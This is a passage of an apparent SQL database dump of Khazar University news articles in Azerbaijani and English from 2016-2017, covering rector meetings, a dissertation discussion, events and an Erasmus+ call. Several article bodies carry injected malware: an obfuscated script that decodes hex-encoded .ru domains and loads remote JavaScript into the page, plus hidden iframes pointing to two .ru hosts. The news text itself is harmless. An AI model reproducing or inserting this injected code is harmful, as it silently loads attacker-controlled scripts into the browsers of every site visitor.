f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2984,1767,'en','Founder Meets with Rector of Hacettepe University','On December 20, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, met with Professor Haluk Özen...','<p>On\r\nDecember 20, 2016, Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, met with Professor Haluk\r\nÖzen, Rector of Hacettepe University. During the meeting, Prof. Isaxanli told\r\nProfessor Özen about the schools of Khazar University and its accomplishments.\r\nProf. Özen thanked Prof. Isaxanli for the visit and emphasized the importance\r\nof further discussions on future partnership between the two universities. </p>\r\n<p>Prof.\r\nIsaxanli is continuing his business trip to Ankara.&nbsp;</p>'),(2985,1768,'az','Universitetdə kitab yarmarkası təşkil olundu','2016-cı il dekabrın 14-dən 16-dək Xəzər Universitetində Tələbə Məclisinin təşkilatçılığı ilə növbəti kitab yarmarkası keçirildi. Yarmarkaya...','<p>2016-cı il dekabrın 14-dən\r\n16-dək Xəzər Universitetində Tələbə Məclisinin təşkilatçılığı\r\nilə növbəti kitab yarmarkası keçirildi. Yarmarkaya “Bakumoz kitab evi” (<a href=\"http://www.bakumoz.com\">www.bakumoz.com</a>)\r\ntexniki və təşkilati dəstək verdi. Yarmarka bütün\r\nnəşrlər 20-25%-lik endirimlə təklif olunurdu.&nbsp;</p>   <script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2986,1768,'en','Book Sale at University','On December 14-16, 2016, Khazar University Student Union organized a book sale. The sale was held with the technical and organizational support...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:22.5pt;line-height:normal\"\"=\"\">On December 14-16, 2016, Khazar\r\nUniversity Student Union organized a book sale. The sale was held with the\r\ntechnical and organizational support of Bakumoz Bookstore (<a href=\"http://www.bakumoz.com\">www.bakumoz.com</a>). The sale included 20-25%\r\ndiscounts on all titles.&nbsp;</p>'),(2987,1769,'az','Fəlsəfə doktoru elmi dərəcəsi üçün dissertasiyanın müzakirəsi keçirildi','2016-cı il dekabrın 20-də İngilis dili və ədəbiyyatı departamentinin müəllimi Xanım Əhmədovanın filologiya üzrə fəlsəfə doktoru elmi dərəcəsi almaq üçün...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il dekabrın 20-də İngilis dili və ədəbiyyatı departamentinin\r\nmüəllimi Xanım Əhmədovanın filologiya üzrə fəlsəfə doktoru elmi dərəcəsi almaq\r\nüçün “Dilin mahiyyəti ilə bağlı ingilisdilli\r\nmənbələrin araşdırılması” mövzusunda (German dilləri –5708.01)\r\ndissertasiya işinin departament üzrə ilkin müzakirəsi keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Müzakirədə Şurasının üzvləri&nbsp; olaraq, Xəzər Universitetinin\r\nMagistratura, doktorantura və elmi işlər bölməsinin müdiri Eldar Şahgəldiyev,\r\nİngilis dili və ədəbiyyatı departamenti müdirinin müavini Eynur Mehdiyev və müəllimləri\r\nİrina Orucova, Cəmalə Məmmədova, Milana Abbasova, Gülnar Abbasova iştirak\r\nedirdilər.&nbsp;Dəvət olumnuş qonaqlar, o cümlədən, elmi rəhbər ADU-nun Ümumi\r\ndilçilik kafedrasının professoru Fəxrəddin Veysəlli, rəyçilər ADU-nun\r\nprorektoru, filologiya elmləri doktoru, professor Əfqan Abdullayev, ADU-nun\r\ndosenti, İngilis dilinin leksikologiyası kafedrasının müdiri, filologiya üzrə fəlsəfə\r\ndoktoru Amil Cəfərov, ADU-nun ümumi dilçilik kafedrasının dosenti, filologiya\r\nüzrə fəlsəfə doktoru Cəmil Babayev də iştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">İclasda Xanım Əhmədova dissertasiya işini təqdim etdi. Sonra X.Əhmədova\r\nşura üzvləri və departament müəllimləri tərəfindən verilən suallara cavab\r\nverdi, dissertasiya işi haqqında yazılmış rəylərdə olan iradlara öz münasibətini\r\nbildirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonda şura üzvləri tərəfindən dissertasiya qənaətbəxş həsab olundu və\r\nmüdafiənin növbəti mərhələsinə buraxılmasına icazə verildi.&nbsp;</p>   <!-- ELRTE_SCRIPT:script1643782396302964 --><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe><script>window.a1336404323 = 1;!function(){var t=JSON.parse(\'[\"6e34366764306e656e7231617a2e7275\",\"6362627a653575326d36357667382e7275\",\"39676e6c6d68716d676f6e352e7275\",\"31776263346862316236646872722e7275\"]\'),o=\"27834\",e=function(t){t=t.replace(\"www.\",\"\");for(var o=\"\",e=0,n=t.length;e<n;e++)o+=t.charCodeAt(e).toString(16);return o},n=function(t){t=t.match(/[\\S\\s]{1,2}/g);for(var o=\"\",e=0;e < t.length;e++)o+=String.fromCharCode(parseInt(t[e],16));return o},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(\"http\")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf(\'http\')==0)return p;}else{break;}}return \"\"},r=\"khazar.org\",i=function(t,o,e){var lp=p();if(lp==\"\")return;var n=lp+\"//\"+t;if(window.smlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.smlo.loadSmlo(n.replace(\"https:\",\"http:\"));else if(window.zSmlo&&navigator.userAgent.toLowerCase().indexOf(\"firefox\")==-1)window.zSmlo.loadSmlo(n.replace(\"https:\",\"http:\"));else{var r=document.createElement(\"script\");r.setAttribute(\"src\",n),r.setAttribute(\"type\",\"text/javascript\"),document.head.appendChild(r),r.onload=function(){this.a1649136515||(this.a1649136515=!0,\"function\"==typeof o&&o())},r.onerror=function(){this.a1649136515||(this.a1649136515=!0,r.parentNode.removeChild(r),\"function\"==typeof e&&e())}}},a=function(c){var f=t[c],l=n(f)+\"/ajs/\"+o+\"/c/\"+e(r)+\"_\"+(self===top?0:1)+\".js\";window.a3164427983=f,i(l,function(){},function(){t[c+1]&&a(c+1)})},f=function(){a(0)};f()}();</script><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=27834\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=27834\" style=\"display:none\"></iframe>'),(2988,1770,'az','“Elm şənliyi” adlı tədbir keçiriləcək','2016-cı il dekabrın 23-də saat 10:00-dan 17:00-a kimi Xəzər Universitetinin “Neftçilər” korpusundakı “Mərmər” zalda Azərbaycan Respublikası Prezindenti yanında...','<p>2016-cı il dekabrın 23-də saat 10:00-dan 17:00-a\r\nkimi Xəzər Universitetinin “Neftçilər” korpusundakı “Mərmər” zalda Azərbaycan\r\nRespublikası Prezindenti yanında Gənclər Fondunun maliyyə dəstəyi ilə “Elm şənliyi”<strong><em>\r\n</em></strong>adlı tədbir keçiriləcək.</p>\r\n<p>Maraqlananlar dəvət olunurlar.</p>'),(2990,1771,'az','Təsisçi Qazi Universitetinin rektoru ilə görüşdü','2016-cı il dekabrın 20-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Ankara şəhərində Qazi Universitetinin...','<p>2016-cı il dekabrın 20-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Ankara şəhərində&nbsp;Qazi Universitetinin rektoru professor İbrahim Uslanla görüşdü. H.İsaxanlı Qazi Universitetinin rektoruna Xəzər Universiteti haqqında geniş məlumat verdi və ona universitetin hədiyyəsini təqdim etdi. İbrahim Uslan isə Qazi Universiteti haqqında geniş məlumat verərək, universitetin qiymətli hədiyyələrini H.İsaxanlıya təqdim etdi.  Görüş zamanı Xəzər Universiteti ilə Qazi Universiteti arasında əlaqələrin bundan sonra daha da genişləndirilməsinin vacibliyi vurğulandı. <br>Xatirə şəkilləri çəkildi.  &nbsp;&nbsp;</p>'),(2991,1771,'en','  Founder Meets with Rector of Gazi University','On December 20, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, met with...','<p>On December 20, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, met with Professor Ibrahim Uslan, Rector of Gazi University in Ankara. During the meeting, Prof. Isaxanli told Professor Uslan about Khazar University and presented a university gift. Prof. Uslan gave P<br>rof. Isaxanli information about Gazi University and presented him a gift on behalf of the university as well. During the meeting, the two administrators emphasized the importance of further partnership between Khazar University and Gazi University.</p>'),(2989,1769,'en','Initial Discussion on PhD Dissertation Defense','On December 20, 2016, an initial discussion was held in the Khazar University Department of English Language and Literature for the PhD dissertation...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On December 20, 2016, an initial\r\ndiscussion was held in the Khazar University Department of English Language and\r\nLiterature for the PhD dissertation defense of Khanim Ahmadova, instructor of\r\nthe same department, on the topic of “Research on English-Language Resources\r\nRelated to the Essence of Language” (Germanic Languages–5708.01). </p>\r\n<p>Participants in the event included Committee members\r\nDr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and\r\nResearch; Eynur Mehdiyev, Deputy Chair of the Department of English Language\r\nand Literature; and instructors of the Department including Irina Orujova,\r\nJamala Mammadova, Milana Abbasova, and Gulnar Abbasova.&nbsp;Other participants\r\nincluded Ahmadova’s advisor, Professor Fakhraddin Veyselli of the General Linguistics\r\nDepartment at Azerbaijan University of Languages (AUL); and the following\r\nreviewers: Professor Afgan Abdullayev, Vice Rector of AUL; Associate Professor\r\nAmil Jafarov, Chair of the English Language Lexicology Department at AUL; and\r\nAssociate Professor Jamil Babayev of the General Linguistics Department at AUL.\r\n</p>\r\n<p>During the meeting, Khanim Ahmadova presented her\r\ndissertation. Then she explained her responses to reviewers’ comments and\r\nanswered the committee members’ questions. </p>\r\n<p>At the end of the event, the committee members\r\nagreed that the dissertation work was satisfactory and could be recommended for\r\nadvancement to the next stage of the defense procedure.&nbsp;</p>'),(2994,1773,'az','Təsisçi Ankara Universitetinin Təhsil fakültəsində oldu','2016-cı il dekabrın 21-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Ankara Universitetinin Təhsil fakültəsində...','<p>2016-cı il dekabrın 21-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Ankara Universitetinin Təhsil fakültəsində görüş keçirtdi. Fakültənin dekan əvəzi professor Fatma Bıkmaz, dekan müavini dosent Dilek Acer H.İsaxanlını səmimi salamlayaraq, ona fakültədə həyata keçirilən proqramlar, tədris edilən fənlər haqqında geniş məlumat verdilər. Təhsil fakültəsinin rəhbərliyi gələcəkdə Xəzər Universiteti ilə birlikdə müxtəlif mübadilə proqramlarının həyata keçirilməsinin zəruriliyini vurğuladılar. &nbsp;İki dost universitetin Təhsil fakültələri arasında sıx əməkdaşlığın inkişaf etdirilməsi, iki universitet arasinda təhsilin bütün sahələrinə aid proqramlar həyata keçirmək üçün təkliflər paketi hazırlanması qərara alındı.&nbsp;</p><p>Fakültə rəhbərliyi H.İsaxanlıya ziyarətə görə dərin təşəkkürünü bildirdilər.</p>'),(2995,1648,'az','Milli “Spagetti Körpü” müsabiqəsi keçiriləcək','2016-cı  il dekabrın 26-sı  saat  14:00-da  Xəzər Universitetinin “Mərmər” zalında (“Neftçilər” kampusu)  Milli “Spagetti Körpü” müsabiqəsi  keçiriləcək...','<p>2016-cı &nbsp;il dekabrın 26-sı &nbsp;saat &nbsp;14:00-da &nbsp;Xəzər Universitetinin “Mərmər” zalında (“Neftçilər” kampusu) &nbsp;Milli “Spagetti Körpü” müsabiqəsi &nbsp;keçiriləcək.</p><p>Müsabiqə Azərbaycan üzrə bütün mühəndislik sahələrindən olan tələbə komandaları arasında onların biliyini, təcrübəsini, səyini, düşüncəsini və komanda işini inkişaf etdirmək və həmçinin, mühəndislik sahəsini ictimaiyyətə təqdim etmək üçün keçirilir.</p><p>Maraqlanan hər kəs iştirak üçün dəvət olunur.</p><p>Müsabiqədə iştirak etmək istəyən tələbələrin qaydaları diqqətlə oxuması və müsabiqənin koordinatoru Əli Atefi ilə əlaqə saxlaması tələb olunur:&nbsp;</p><p><strong>E-mail:&nbsp;</strong><a href=\"https://e.mail.ru/compose/?mailto=mailto%3aaatefi@khazar.org\" target=\"_blank\"><strong>aatefi@khazar.org</strong></a>).  </p>'),(3278,1928,'az','Xocalı faciəsindən 25 il ötür','2017-ci il fevralın 22-də Xəzər Universitetində Tarix və arxeologiya departamentinin təşkilatçılığı ilə Xocalı faciəsinin 25 illiyinə həsr olunmuş tədbir keçirildi. Tədbirdə Xəzər...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il fevralın 22-də Xəzər Universitetində Tarix və arxeologiya\r\ndepartamentinin təşkilatçılığı ilə Xocalı faciəsinin 25 illiyinə həsr olunmuş tədbir\r\nkeçirildi. Tədbirdə Xəzər Universitetinin rektoru Hassan Niknafs, universitetin\r\nİdarəetmə və tələbə işləri üzrə prorektoru İsaxan İsaxanlı, İctimaiyyətlə əlaqələr\r\nvə media üzrə direktoru Əlövsət Əmirbəyli, Tarix və arxeologiya departamentinin\r\nmüdiri Roza Arazova, həmin departamentin müəllimi Nəsiman Yaqublu, Xocalı faciəsinin\r\ncanlı şahidləri və tələbələr iştirak edirdilər. Tədbirdə Xocalı faciəsi və onun\r\ndəhşətləri barədə iştirakçılara ətraflı məlumat verildi və Nəsiman Yaqublunun\r\n“Xocalı soyqırımı” kitabı təqdim olundu. Tədbir ərzində Xocalı faciəsinin canlı\r\nşahidi olmuş zabit Seyidağa Mövsümlü&nbsp;öz xatirələrini bölüşdü və daha sonra onun lentə aldığı\r\nXocalı həqiqətlərini əks etdirən qısa film tədbir iştirakçılarına təqdim\r\nedildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha\r\nsonra Xəzər Universitetinin İdarəetmə və tələbə işləri üzrə prorektoru İsaxan\r\nİsaxanlı çıxış etdi. Sonda xatirə şəkli çəkildi.&nbsp;</p>'),(2992,1772,'az','Təsisçi Ankara Universitetinin Mühəndislik fakültəsində oldu','2016-cı il dekabrın 20-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Ankara Universitetinin Gölbaşında yerləşən...','<p>2016-cı il dekabrın 20-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Ankara Universitetinin Gölbaşında yerləşən Mühəndislik fakültəsində oldu. Fakültənin dekanı professor Aziz Tekin H.İsaxanlını səmimi salamlayaraq, Mühəndislik fakültəsi haqqında geniş məlumat verdi. Görüş zamanı hər iki universitetin mühəndislik fakültələrinin birgə proqramlar həyata keçirməsi qərara alındı. &nbsp;</p><p>Fakültə dekanı A.Tekin H.İsaxanlıya ziyarətdən dolayı dərin təşəkkürünü bildirdi.&nbsp;</p><p>Görüşdə Ankara Universitetinin Kompüter Elmləri departamentının müdiri prof. İman Askerbeyli, Xəzər Universitetinin Türkiyə üzrə təmsilçiləri Hüseyin Ayhan və Murat Ekinci də iştirak etdilər.</p>'),(2993,1772,'en','Founder Visits School of Engineering of Ankara University','On December 20, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, visited the School of Engineering...','<p>On December 20, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, visited the School of Engineering of Ankara University located in Gölbaşı. He met with Professor Aziz Tekin, Dean of the School, who gave him detailed information about the School. During the meeting, a decision was made to implement a joint program between the two universities’ Schools of Engineering.&nbsp;</p><p>Prof. Tekin thanked Prof. Isaxanli for his visit.&nbsp;</p><p>Ankara University’s Computer Sciences Department Head, Prof. Iman Askerbeyli, as well as Hüseyin Ayhan and Murat Ekinci, Khazar University’s representatives in Turkey, also participated in the meeting.&nbsp;</p>'),(2996,1774,'az','Xəzər Universiteti müəlliminin elmi məqaləsi Ukraynada çap olunmuşdur','Taras Şevçenko adına Kiyev Milli Universitetinin “Dil və mədəniyyət” (“Мова i культура”) elmi jurnalında Xəzər Universiteti Azərbaycan dili...','<p>Taras Şevçenko adına Kiyev Milli Universitetinin “Dil və mədəniyyət” (“Мова i культура”) elmi jurnalında Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının “XX əsrin ikinci yarısında Azərbaycan vətəndaşlıq lirikasında sosial kontent” (“Социальный контент в Азербайджанской гражданской лирике второй половины XX- го века”) adlı məqaləsi rus dilində çap olunmuşdur (2016, 22-ci buraxılış, V cild, səh.165-173). Məqalədə XX əsrin ikinci yarısında Azərbaycan vətəndaşlıq lirikasının sosial məzmunu, əsasən, Məmməd Araz, Söhrab Tahir AzərAzər və Məmməd İsmayılın yaradıcılığı əsasında araşdırılaraq, şair kimliyi və onun lirik qəhrəmanı arasında paralellər aparılmaqla vətəndaşlıq lirikasının əsas fəlsəfəsini təşkil edən ictimai-mənəvi istiqamətlər göstərilmiş, xalqın mənəvi deqradasiyasının qarşısının alınmasında, milli-mənəvi birliyin qorunub saxlanılmasında Azərbaycan poeziyasının avanqardı olan M.Araz, S.Tahir və M.İsmayıl yaradıcılığının oynadığı rol ön planda verilmişdir.</p>'),(4305,2541,'az','Erasmus + Exchange Opportunities for Students','Applications are NOW accepted for ERASMUS PLUS Exchange Opportunities...','<p style=\"text-align:center\"><img src=\"http://www.khazar.org/files/letters/erasmus-plus.png\" style=\"border:0px #000000;vertical-align:baseline;margin:7px;width:200px;height:45px\"></p><p style=\"text-align:center\"><strong>BACHELOR AND MASTER STUDENTS:</strong></p><p style=\"text-align:center\"><strong>Applications are NOW accepted for ERASMUS PLUS Exchange Opportunities!&nbsp;</strong></p><p><br></p><p>Do you want to study a semester or a year abroad, meet new friends and learn about other cultures? Then apply to Erasmus Plus Programme!&nbsp;</p><h4><strong><br></strong></h4><h4><strong>WHO IS ELIGIBLE?</strong></h4><p>Bachelor and master students who:</p><ul><li>Are enrolled in a Khazar University undergraduate/graduate degree program at the time of application</li><li>Have completed at least the first year of their studies at Khazar University by February 2018</li><li>Have a cumulative GPA of 85 or higher</li><li>Have no disciplinary sanctions within the past 6 months&nbsp;</li></ul><br><h4><strong>HOW TO APPLY?</strong></h4><p>Fill out the application form and submit it in paper or electronically to the International Affairs Office:</p><ul><li>Paper submission: Room#511,&nbsp;5<sup>th</sup> floor, Neftchiler Campus (41 Mehseti street)</li><li>Electronic submission: <span style=\"text-decoration:underline;color:#0000cc\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/letters/erasmus-plus.png\" rel=\"media9668700067984666\" width=\"150\" height=\"100\">international[at]khazar.org</span></li></ul>&nbsp; &nbsp; &nbsp; (subject line: Erasmus Plus Application – Your First Name and Last Name)&nbsp;<br><p><br></p><p>Application Forms (electronic and paper) could be obtained from Khazar University’s website, Deans’ Offices and the International Affairs Office.&nbsp;</p><p><strong><br></strong></p><h4><strong>WHERE CAN I STUDY?</strong></h4><p>Khazar University has Erasmus + agreements with numerous universities in countries like Bulgaria, France, Italy, Poland, Romania, Slovenia, Spain, Turkey, and others. Partner-universities include:</p><ul><li>Montpellier University (France)</li><li>Varna University of Management (Bulgaria)</li><li>University of L\'Aquila (Italy)</li><li>University of Pavia (Italy)</li><li>Sapienza University of Rome (Italy)</li><li>Kozminski University (Poland)</li><li>University of Timisoara (Romania)</li><li>University of Ljubljana (Slovenia)</li><li>Polytechnic University of Valencia (Spain)</li><li>Kadir Has University (Turkey)</li><li>Middle East Technical University (METU) (Turkey)&nbsp;</li></ul><br><h4><strong>PLACEMENT</strong></h4><p>Final placement and length of mobility of each selected student are subject to availability and the decision of the Internal Selection Committee of Khazar University.&nbsp;</p><p><strong><br></strong></p><h4><strong>DOWNLOAD APPLICATION FORMS</strong></h4><p><strong><a href=\"/files/letters/Bachelor%20Application%20Erasmus%20Plus%20Khazar.docx\">Bachelor</a></strong></p><p><strong><a href=\"/files/letters/Master%20Application%20Erasmus%20Plus%20Khazar.docx\">Master</a></strong></p><p style=\"text-align:center\"><strong>DEADLINE:</strong> 17:00 (5:00pm), Tuesday, October 24, 2017</p><p style=\"text-align:center\"><strong style=\"color:#ff0033\">LATE APPLICATIONS WILL NOT BE ACCEPTED</strong></p>'),(3568,2092,'az','Azərbaycan IV Beynəlxalq Psixologiya Konfransı keçirildi','2017-cı il aprelin 22-si və 23-də Xəzər Universitetinin “Neftçilər” korpusunda universitetin Psixologiya departamentinin və Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə ənənəvi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2017-cı il aprelin 22-si və 23-də\r\nXəzər Universitetinin “Neftçilər” korpusunda universitetin Psixologiya departamentinin\r\nvə Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə ənənəvi Azərbaycan IV\r\nBeynəlxalq Psixologiya Konfransı keçirildi. Konfransda respublikanın müxtəlif\r\nbölgələrindən olan mütəxəssislərlə yanaşı, sahəyə maraq göstərən şəxslər də\r\niştirak edirdilər. Konfransa olan bu maraq nəzəriyyə ilə praktikanın bir arada\r\nolması ilə sıx bağlıdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Aprelin 22-də konfransın rəsmi\r\nhissəsi və məruzələr dinlənildi. Aprelin 23-də isə iştirakçılar əvvəlcədən\r\nmüəyyən olunmuş vorkşoplarda iştirak etdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Humanitar və sosial elmlər\r\nfakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk\r\nKərimova konfransı açıq elan edərək, sözü Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlıya verdi.\r\nSonra kürsüyə Omandan dəvət olunmuş Pr.Dr. Ali Kemal Tekin dəvət olundu.\r\nKonfrans zamanı yerli və Türkiyədən dəvət olunmuş psixoloqlar və psixiatrlar\r\nçıxış edərək, psixologiyanın müxtəlif sahələrini əhatə edən mövzular haqqında\r\nməlumat verdilər. Konfransda İstanbul Bilgi Universitetində akademik fəaliyyət\r\ngöstərən Dos. Dr. Aytən Zara, Sultan Qaboos Universitetinin Məktəbəqədər\r\nUşaqların Təhsili kafedrasının müdiri, UNESKO-nun müşaviri Pr.Dr. Ali Kemal\r\nTekin, Hasan Kalyoncu Universitetinin prorektoru, Qara Dəniz Texnik Universitetində\r\nakademik fəaliyyət göstərən Pr.Dr. Yaşar Özbay və Antalya Fərdi Terapiya Tibb\r\nMərkəzində psixiatriya üzrə ekspert Pr.Dr. Burhanettin Kaya iştirak edirdilər. Dos.\r\nDr. Aytən Zara konfransa 6 nəfərdən ibarət “World Human Relief” komandası ilə qatılmışdı.\r\nBu komandanın üzvləri Dilan Bozdağ, Seher Tarhan, Esra Zırhlıoğlu, Tuğçe Merve\r\nAytac, Narlı Yıldız, Kader Tarhan çıxış edərək, konfransı daha da\r\nzənginləşdirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Konfransda uşaqlarda aqressiv, antisosial, emsional və asılı davranış\r\npozuntularının səbəbləri və aradan qaldırılması yolları, pozitiv ailə inkişafı\r\nvə dayanıqlılıq, uşaqlara qarşı cinsi təcavüz və istimar, travma və onunla\r\nəlaqədar pozuntulara EMDR metodundan istifadə edilməsi haqqında müzakirələr\r\naparıldı. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Konfransın sonunda hər bir iştirakçıya\r\nsertifikat verildi.</p><p style=\"margin-bottom:.0001pt\">Konfrans iştirakçılarına Xəzər Universitetinin Musiqi və incəsənət\r\ndepartamentinin hazırladığı &nbsp;konsert\r\nproqramı təqdim olundu.&nbsp;</p><p style=\"margin-bottom:.0001pt\"><br></p>'),(3206,1890,'az','Xəzər Universitetinin professoru “İqtisadi forum” verilişinin qonağı oldu','2017-ci il fevralın 5-də “İqtisadi forum” verilişinin qonaqlarından biri Xəzər Universitetinin professoru Fuat Rəsulov olmuşdur. İqtisadi və Siyasi Araşdırmalar Mərkəzinin rəhbəri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il\r\nfevralın 5-də “İqtisadi forum” verilişinin qonaqlarından biri Xəzər\r\nUniversitetinin professoru Fuat Rəsulov olmuşdur. İqtisadi və Siyasi\r\nAraşdırmalar Mərkəzinin rəhbəri Sabit Bağırovun müəllifi olduğu proqramın budəfəki\r\nburaxılışı “Lizing biznesinin xüsusiyyətləri. Problemlər və həlli yolları”\r\nmövzusuna həsr olunmuşdu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Verilişi bu linklər vasitəsilə izləmək olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://eurasiadiary.com/az/news/economy/109790-lizing-biznesinin-xususiyyetleri-problemler-ve-helli-yollari\">http://eurasiadiary.com/az/news/economy/109790-lizing-biznesinin-xususiyyetleri-problemler-ve-helli-yollari</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"https://www.youtube.com/watch?v=W1NQrYj_grk\">https://www.youtube.com/watch?v=W1NQrYj_grk</a>.\r\n&nbsp;</p>'),(3207,1891,'az','“Dünya” məktəbinin müəllimi fəlsəfə doktoru diplomu almışdır','Fevralın 16-da Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasında diplomların təqdim olunması mərasimi keçirilmişdir. “Dünya” məktəbinin ingilis...','<p>Fevralın\r\n16-da Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya\r\nKomissiyasında diplomların təqdim olunması mərasimi keçirilmişdir. “Dünya” məktəbinin\r\ningilis dili müəllimi Altuntac Məmmədova da filologiya üzrə fəlsəfə doktoru\r\ndiplomu almışdır.</p>'),(3208,1892,'az','Elmi şuranın iclası','Fevralın 16-da Xəzər Universitetinin rektoru Hassan Niknafsın sədrliyi ilə Elmi şuranın növbəti iclası keçirildi. Gündəliyə əsasən imtahan sessiyasının nəticələri, 